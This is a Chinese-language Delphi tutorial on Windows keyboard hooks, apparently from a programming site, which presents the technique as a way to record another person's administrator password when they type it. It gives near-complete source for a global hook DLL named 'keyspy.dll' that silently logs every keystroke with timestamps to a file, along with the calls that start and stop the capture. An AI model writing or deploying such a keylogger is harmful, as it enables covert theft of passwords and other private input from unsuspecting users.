每个程序都有自己的生存空间,在windows系统中你可以在任何时候让你的程序执行一些操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onclick,onmousemove等等,另外一个可以使用windows的消息机制来捕获一些系统消息, 但是如果你想在任何时候监控任何程序的情况那可能你就会选择hook来实现了,虽然还有其他方法,但不得不承认,hook是一个比较简单解决问题的途径。
下面就来举个例子(使用delphi7.0调试通过):
如果你需要访问某个人的机器,那在运行\\sb之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?
首先需要申明一点,hook不同于一般的应用程序,需要作为一个全局dll出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用windows消息,这个问题不在这里讨论)。
写个dll定义一下函数
| function setkeyhook:bool;export; function endkeyhook:bool;export; procedure keyhookexit;far; procedure setmainhandle(handle: hwnd); export;forward; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; procedure entrypointproc(reason: integer); const hmapobject: thandle = 0; begin case reason of dll_process_attach: begin hmapobject := createfilemapping($ffffffff, nil, page_readwrite, 0, sizeof(thookrec), ’_cbt’); rhookrec := mapviewoffile(hmapobject, file_map_write, 0, 0, 0); end; dll_process_detach: begin try unmapviewoffile(rhookrec); closehandle(hmapobject); except end; end; end; end; procedure keyhookexit;far; begin if hnexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; function endkeyhook:bool;export; begin if hnexthookproc<>0 then begin unhookwindowshookex(hnexthookproc); hnexthookproc:=0; messagebeep(0); end; result:=hnexthookproc=0; mainhandle:=0; end; function setkeyhook:bool;export; begin hnexthookproc:=setwindowshookex(wh_keyboard ,keyboardhookhandler,hinstance,0); result:=hnexthookproc<>0; end; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; var s:tstringlist; begin if icode<0 then begin result:=callnexthookex(hnexthookproc,icode,wparam,lparam); exit; end; if lparam<0 then begin exit; end; s:=tstringlist.create; if fileexists(afilename) then s.loadfromfile(afilename); //将敲打的键盘字符保存到文件中 s.add(formatdatetime(’yyyymmdd hh:nn:ss:zzz: ’,now) + char(wparam) ); s.savetofile(afilename); s.free; result:=0; end; |
| exports setkeyhook index 1, endkeyhook index 2, setmainhandle index 3; begin hnexthookproc:=0; procsaveexit:=exitproc; dllproc := @entrypointproc; entrypointproc(dll_process_attach); end. |
| function setkeyhook:bool;external ’keyspy.dll’; function endkeyhook:bool;external ’keyspy.dll’; procedure setmainhandle(handle: hwnd); external ’keyspy.dll’; //开始捕获键盘 setmainhandle(handle); setkeyhook //中止捕获键盘 endkeyhook |
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器